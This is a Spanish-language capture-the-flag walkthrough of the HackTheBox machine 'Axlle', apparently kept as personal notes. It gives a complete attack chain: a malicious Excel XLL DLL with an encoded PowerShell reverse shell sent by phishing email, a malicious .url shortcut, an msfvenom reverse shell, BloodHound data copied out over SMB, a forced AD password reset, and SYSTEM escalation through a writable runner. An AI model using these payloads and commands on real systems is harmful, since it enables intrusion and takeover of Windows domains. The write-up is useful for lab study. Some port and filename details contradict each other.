write up Axlle htb.
Axlle” es una máquina de nivel Difícil en la plataforma HackTheBox. En esta máquina, se encuentra activo un servicio de correos que permite la carga de archivos DLL. Estos archivos pueden ser manipulados para obtener acceso inicial a la máquina víctima. Una vez dentro, se identifica un directorio que ejecuta archivos URL, lo cual puede ser aprovechado para ejecutar un binario malicioso y escalar privilegios hacia un segundo usuario.
Este segundo usuario tiene la capacidad de modificar la contraseña de un tercer usuario, quien dispone de acceso a la máquina a través de WinRM. Al acceder como este tercer usuario, es posible alterar un script que se ejecuta con privilegios de SYSTEM, lo que permite tomar control total de la máquina.
lo primero como siempre empezamos con un nmap para ver los puertos abiertos
nmap -p- --open --min-rate 5000 -sT -Pn -n -vvv 10.10.11.21 -oG allports
nmap -sVC -p25,53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,53346,53348,53349,53356,53360,53369 10.10.11.21 -oN ports
vemos un puerto 80 con un http por lo que vamos a usar whatweb para ver que hay por hay
whatweb 10.10.11.21
vale dos cosas:
no vemos dominio lo cual es raro pero lo conseguimos por el email que encuntra por lo que lo añadimos al /etc/hosts
vale si nos metemos en http://10.10.11.21/ vemos una cosa curiosa
dice que podemos enviar un email al correo con un archivo execl por lo que se me ocurre hacer un archivo excel maligno
para hacerlo vamos a tener que crear un archivo c o c++ para poder bypasear mejor la seguridad yo voy a usar este codigo que e encontrado en internet:
#include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
// Triggers when Excel opens
WinExec("powershell -e CgAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADYALgA4ADkAJwAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAAoACgA=", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
con MinGW lo vamos a convertir en un archivo excel (XLL) https://stackoverflow.com/questions/44389963/how-to-install-mingw32-on-ubuntu esto es por si no me acurdo de como se instala MinGW xddd
x86_64-w64-mingw32-gcc -shared -fPIC -o axlle.xll rev.c
nos ponemos en escucha por el puerto 9001
rlwrap -cAr nc -lvnp 4444
ya simplemente mando el email con swaks
swaks --from sheltCP1@axlle.htb --to accounts@axlle.htb --body "Important update required." --header "Subject: Urgent Update" --attach @plugin.xll
y despues de un rato pum
estamos dentro si vamos al directorio C:\Program Files (x86)\hMailServer\Data\axlle.htb vemos otro suario
vale por lo que e descubierto sobre la maquina al parecer hay que hacer un ataque url maliciosa de la siguiente forma creamos la url maliciosa:
[InternetShortcut]
URL=file:///C:/Users/Public/reverse.exe
ahora con msfvenom creamos la revhershell:
msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.89 LPORT=4443 -f exe -o reverse.exe
habrimos un server python para psarnos los exploit y los descargamos
wget http://10.10.16.89:8000/reverse.exe -OutFile C:\Users\Public\reverse.exe
wget http://10.10.16.89:8000/malicious.url -OutFile C:\inetpub\testing\malicious.url
y antes de poner este ultimo comando nos ponemos en escucha:
rlwrap -cAr nc -lvnp 4443
y despues de unos segundos pumm
somos el usuario dallon
escalado de privileguios
vale como ya estamos dentro vamos a usar sharphound.exe para enumerar el dominio lo pasamos con un server python una vez pasado ejecutamos:
.\sharphound.exe -c All
y nos genera un archivo .zip
para pasarlo a la maquina atacante vamos a usar smbserver de esta forma
primero en la maquina atacante:
impacket-smbserver pepe $(pwd) -username zzero -password zzero -smb2support
y despues en la maquona victima
net use \\10.10.16.89\pepe /u:zzero zzero
copy .\20241118092807_BloodHound.zip \\10.10.16.89\pepe\
y ya lo tenemos
ahora lo subimos a blodhunt
vemos esta estructura la cual es interesante
vamos a intentar cambiar la contraseña de uno de estos dos usuarios
los mismo pasamos poweriew por server python y ejecutamos la shell en powershell y seguimos esta secuencia de comandos
powershell
Import-Module .\PowerView.ps1
$Password = ConvertTo-SecureString 'zzero' -AsPlainText -Force
Set-ADAccountPassword -Identity jacob.greeny -NewPassword $Password -Reset
y despues ejecutamos evilwirm:
evil-winrm -i 10.10.11.21 -u jacob.greeny -p 'zzero'
![[Pasted image 20241118193727.png]] ahora tenemos acceso a al directorio app Development y vemos otro directoro dentro ![[Pasted image 20241118194056.png]] si entramos vemos un archivo readme ![[Pasted image 20241118194457.png]] es un tocho pero resumidamente es que hay un archivo standalonerunner.exe que se ejecuta como system
asique vamos a ver si podemos hacerle algo
![[Pasted image 20241118194625.png]] vamos a usar icals para ver que podemos hacerle
icacls standalonerunner.exe
vemos que podemos hacer ciertas cosas por lo que vamos a hacer lo siguiente
$project = "0xdfTest"
$command = "ping 10.10.16.89"
echo "$command" > command.txt; mkdir -force $project\working > $null; echo "doesn't matter" > $project\working\rsf.rsf; echo "$project`nTrue" > reboot.rsf; tree . /f
$command = "powershell -e CgAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADYALgA4ADkAJwAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQAKAAoACgA="
echo "$command" > command.txt; mkdir -force $project\working > $null; echo "doesn't matter" > $project\working\rsf.rsf; echo "$project`nTrue" > reboot.rsf; tree . /f
echo esto nos ponemos en eschucha por el puerto 4444 y pumm
somos root